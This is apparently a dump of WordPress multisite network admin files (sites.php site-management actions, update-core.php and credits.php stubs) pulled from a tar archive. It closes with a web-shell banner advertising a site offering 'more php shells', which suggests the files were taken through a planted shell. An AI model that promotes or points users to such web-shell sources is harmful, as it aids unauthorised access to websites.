			wp_die( __( 'The requested action is not valid.' ) );
		}

		// The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility.
		if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) {
			check_admin_referer( 'confirm' );
		} else {
			check_admin_referer( $site_action . '_' . $id );
		}

		if ( ! headers_sent() ) {
			nocache_headers();
			header( 'Content-Type: text/html; charset=utf-8' );
		}

		if ( is_main_site( $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
		}

		$site_details = get_site( $id );
		$site_address = untrailingslashit( $site_details->domain . $site_details->path );

		require_once ABSPATH . 'wp-admin/admin-header.php';
		?>
			<div class="wrap">
				<h1><?php _e( 'Confirm your action' ); ?></h1>
				<form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post">
					<input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" />
					<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
					<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
					<?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?>
					<?php
					if ( 'deleteblog' === $site_action ) {
						$submit = __( 'Delete this site permanently' );
						?>
						<div class="notice notice-warning inline">
							<p><?php _e( 'Deleting a site is a permanent action that cannot be undone. This will delete the entire site and its uploads directory.' ); ?>
						</div>
						<?php
					} else {
						$submit = __( 'Confirm' );
					}
					?>
					<p><?php printf( $manage_actions[ $site_action ], "<strong>{$site_address}</strong>" ); ?></p>
					<?php submit_button( $submit, 'primary' ); ?>
				</form>
			</div>
		<?php
		require_once ABSPATH . 'wp-admin/admin-footer.php';
		exit;
	} elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) {
		$action = $_GET['action'];
		check_admin_referer( $action . '_' . $id );
	} elseif ( 'allblogs' === $_GET['action'] ) {
		check_admin_referer( 'bulk-sites' );
	}

	$updated_action = '';

	switch ( $_GET['action'] ) {

		case 'deleteblog':
			if ( ! current_user_can( 'delete_sites' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) );
			}

			$updated_action = 'not_deleted';
			if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) {
				wpmu_delete_blog( $id, true );
				$updated_action = 'delete';
			}
			break;

		case 'delete_sites':
			check_admin_referer( 'ms-delete-sites' );

			foreach ( (array) $_POST['site_ids'] as $site_id ) {
				$site_id = (int) $site_id;

				if ( is_main_site( $site_id ) ) {
					continue;
				}

				if ( ! current_user_can( 'delete_site', $site_id ) ) {
					$site         = get_site( $site_id );
					$site_address = untrailingslashit( $site->domain . $site->path );

					wp_die(
						sprintf(
							/* translators: %s: Site URL. */
							__( 'Sorry, you are not allowed to delete the site %s.' ),
							$site_address
						),
						403
					);
				}

				$updated_action = 'all_delete';
				wpmu_delete_blog( $site_id, true );
			}
			break;

		case 'allblogs':
			if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) {
				$doaction = $_POST['action'];

				foreach ( (array) $_POST['allblogs'] as $site_id ) {
					$site_id = (int) $site_id;

					if ( 0 !== $site_id && ! is_main_site( $site_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								require_once ABSPATH . 'wp-admin/admin-header.php';
								?>
								<div class="wrap">
									<h1><?php _e( 'Confirm your action' ); ?></h1>
									<form action="sites.php?action=delete_sites" method="post">
										<input type="hidden" name="action" value="delete_sites" />
										<input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" />
										<?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?>
										<p><?php _e( 'You are about to delete the following sites:' ); ?></p>
										<ul class="ul-disc">
											<?php
											foreach ( $_POST['allblogs'] as $site_id ) :
												$site_id = (int) $site_id;

												$site         = get_site( $site_id );
												$site_address = untrailingslashit( $site->domain . $site->path );
												?>
												<li>
													<?php echo $site_address; ?>
													<input type="hidden" name="site_ids[]" value="<?php echo esc_attr( $site_id ); ?>" />
												</li>
											<?php endforeach; ?>
										</ul>
										<?php submit_button( __( 'Confirm' ), 'primary' ); ?>
									</form>
								</div>
								<?php
								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;
							break;

							case 'spam':
							case 'notspam':
								$updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam';
								update_blog_status( $site_id, 'spam', ( 'spam' === $doaction ) ? '1' : '0' );
								break;
						}
					} else {
						wp_die( __( 'Sorry, you are not allowed to change the current site.' ) );
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$redirect_to = wp_get_referer();
					$blogs       = (array) $_POST['allblogs'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $redirect_to );
					exit;
				}
			} else {
				// Process query defined by WP_MS_Site_List_Table::extra_table_nav().
				$location = remove_query_arg(
					array( '_wp_http_referer', '_wpnonce' ),
					add_query_arg( $_POST, network_admin_url( 'sites.php' ) )
				);

				wp_redirect( $location );
				exit;
			}

			break;

		case 'archiveblog':
		case 'unarchiveblog':
			update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'activateblog':
			update_blog_status( $id, 'deleted', '0' );

			/**
			 * Fires after a network site is activated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the activated site.
			 */
			do_action( 'activate_blog', $id );
			break;

		case 'deactivateblog':
			/**
			 * Fires before a network site is deactivated.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $id The ID of the site being deactivated.
			 */
			do_action( 'deactivate_blog', $id );

			update_blog_status( $id, 'deleted', '1' );
			break;

		case 'unspamblog':
		case 'spamblog':
			update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' );
			break;

		case 'unmatureblog':
		case 'matureblog':
			update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' );
			break;
	}

	if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) {
		$updated_action = $_GET['action'];
	}

	if ( ! empty( $updated_action ) ) {
		wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) );
		exit;
	}
}

$msg = '';
if ( isset( $_GET['updated'] ) ) {
	$action = $_GET['updated'];

	switch ( $action ) {
		case 'all_notspam':
			$msg = __( 'Sites removed from spam.' );
			break;
		case 'all_spam':
			$msg = __( 'Sites marked as spam.' );
			break;
		case 'all_delete':
			$msg = __( 'Sites deleted.' );
			break;
		case 'delete':
			$msg = __( 'Site deleted.' );
			break;
		case 'not_deleted':
			$msg = __( 'Sorry, you are not allowed to delete that site.' );
			break;
		case 'archiveblog':
			$msg = __( 'Site archived.' );
			break;
		case 'unarchiveblog':
			$msg = __( 'Site unarchived.' );
			break;
		case 'activateblog':
			$msg = __( 'Site activated.' );
			break;
		case 'deactivateblog':
			$msg = __( 'Site deactivated.' );
			break;
		case 'unspamblog':
			$msg = __( 'Site removed from spam.' );
			break;
		case 'spamblog':
			$msg = __( 'Site marked as spam.' );
			break;
		default:
			/**
			 * Filters a specific, non-default, site-updated message in the Network admin.
			 *
			 * The dynamic portion of the hook name, `$action`, refers to the non-default
			 * site update action.
			 *
			 * @since 3.1.0
			 *
			 * @param string $msg The update message. Default 'Settings saved'.
			 */
			$msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) );
			break;
	}

	if ( ! empty( $msg ) ) {
		$msg = wp_get_admin_notice(
			$msg,
			array(
				'type'        => 'success',
				'dismissible' => true,
				'id'          => 'message',
			)
		);
	}
}

$wp_list_table->prepare_items();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1>

<?php if ( current_user_can( 'create_sites' ) ) : ?>
	<a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add Site' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php $wp_list_table->views(); ?>

<?php echo $msg; ?>

<form method="get" id="ms-search" class="wp-clearfix">
<?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?>
<input type="hidden" name="action" value="blogs" />
</form>

<form id="form-site-list" action="sites.php?action=allblogs" method="post">
	<?php $wp_list_table->display(); ?>
</form>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
update-core.php000060400000000375151724022660007473 0ustar00<?php
/**
 * Updates network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/update-core.php';
credits.php000060400000000371151724022660006714 0ustar00<?php
/**
 * Network Credits administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';

coded by Privdayz.com - Visit https://privdayz.com/ for more php shells.